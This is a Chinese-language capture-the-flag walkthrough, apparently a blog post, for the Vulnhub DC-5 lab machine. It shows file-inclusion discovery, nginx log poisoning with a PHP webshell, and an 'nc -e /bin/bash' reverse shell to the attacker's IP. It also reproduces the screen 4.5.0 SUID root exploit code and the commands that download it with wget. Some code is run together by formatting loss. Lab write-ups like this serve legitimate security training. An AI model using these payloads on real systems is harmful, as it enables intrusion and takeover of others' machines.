手把手教通关Vulnhub靶场-DC5靶机
2026/7/19 3:35:02 网站建设 项目流程

一.靶机下载

官方链接:

https://download.vulnhub.com/dc/DC-5.zip

网盘链接:

https://pan.baidu.com/s/1eRXBBhv4vuL3pEBsQ8Wayg 提取码: m7in

导入之后要在设置中将其调为NAT模式

默认情况我们是不知道靶机的密码的,目的是通过kali获取靶机中的flag信息

二.靶机信息收集

因为靶机与kali处于同一网络状态下,使用命令:arp-scan -l得到靶机的ip为:192.168.194.137

使用命令:nmap -A 192.168.194.137对靶机进行扫描

发现靶机开放了80端口,尝试对80端口进行访问

三.漏洞扫描

使用dirsearch扫描一下敏感目录

使用命令:dirsearch -u http://192.168.194.137

访问footer.php和thankyou.php的时候发现刷新网页时间会改变,但在其他网页不会变化,所以猜测在thankyou.php文件中包含footer.php文件,存在文件包含

thankyou.php无明显文件参数,用 wfuzz 爆破 GET 参数

使用命令:

wfuzz -c --hh=1200 -z file,/usr/share/wfuzz/wordlist/general/common.txt "http://192.168.194.137/thankyou.php?FUZZ=/etc/passwd"

发现存在参数file,访问http://192.168.194.137/thankyou.php?file=/etc/passwd得到命令执行的回显

四.上传webshell

<?php system($_GET['cmd']) ?>传入

发现服务器为nginx,于是尝试访问nginx的日志信息,http://192.168.194.137/thankyou.php?file=/var/log/nginx/error.log

接着反弹shell

使用命令:

http://192.168.194.137/thankyou.php?file=/var/log/nginx/error.log&cmd=nc -e /bin/bash 192.168.194.134 1111

nc lvvp 1111

获取交互式shell

使用命令:

python -c "import pty; pty.spawn('/bin/bash');"

五.提权

使用命令:

find / -perm -4000 -type f 2>/dev/null

发现/bin/screen-4.5.0,确认提权点,在msf里面寻找提权的poc

使用命令:

searchsploit screen 4.5.0

使用命令:

cat /usr/share/exploitdb/exploits/linux/local/41154.sh

查看到这个poc的利用方式

将41154.sh中上面一部分c语言代码另存为libhax.c

#include<stdio.h>

#include<sys/types.h>

#include<unistd.h>

#include<sys/stat.h>

__attribute__ ((__constructor__))

voiddropshell(void){

chown("/tmp/rootshell", 0, 0);

chmod("/tmp/rootshell", 04755);

unlink("/etc/ld.so.preload");

printf("[+] done!\n");

}

使用命令:

gcc -fPIC -shared -ldl -o libhax.so libhax.c

将41154.sh中下面一部分c语言代码另存为rootshell.c

#include<stdio.h>

#include<unistd.h>

#include<sys/types.h>

intmain(void){

setuid(0);

setgid(0);

seteuid(0);

setegid(0);

char*argv[]= {"/bin/sh", NULL};

execvp(argv[0], argv);

return0;

}

使用命令:

gcc -static -o rootshell rootshell.c

将41154.sh中剩下部分代码另存为dc5.sh脚本文件

#!/bin/bash

echo"~ gnu/screenroot ~"

echo"[+] Now we create our /etc/ld.so.preload file..."

cd/etc

umask000# because

screen-D-m-Lld.so.preloadecho-ne "\x0a/tmp/libhax.so"# newline needed

echo"[+] Triggering..."

screen-ls# screen itself is setuid, so...

/tmp/rootshell

使用命令:

vim dc5.sh

:set ff=unix | wq

chmodZ+x dc5.sh

python3 -m http.server 8080

切换到反弹shell页面

使用命令:

cd /tmp

wget http://192.168.194.134:8080/libhax.so

wget http://192.168.194.134:8080/rootshell

wget http://192.168.194.134:8080/dc5.sh

使用命令:

cd /root

cat thisistheflag.txt

成功获取最后的flag!

如有错误请大佬们指正!

到这里我们也是成功通关了DC5靶机,后续会接着更新DC系列的靶机通关教程,请多多关注一下!

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询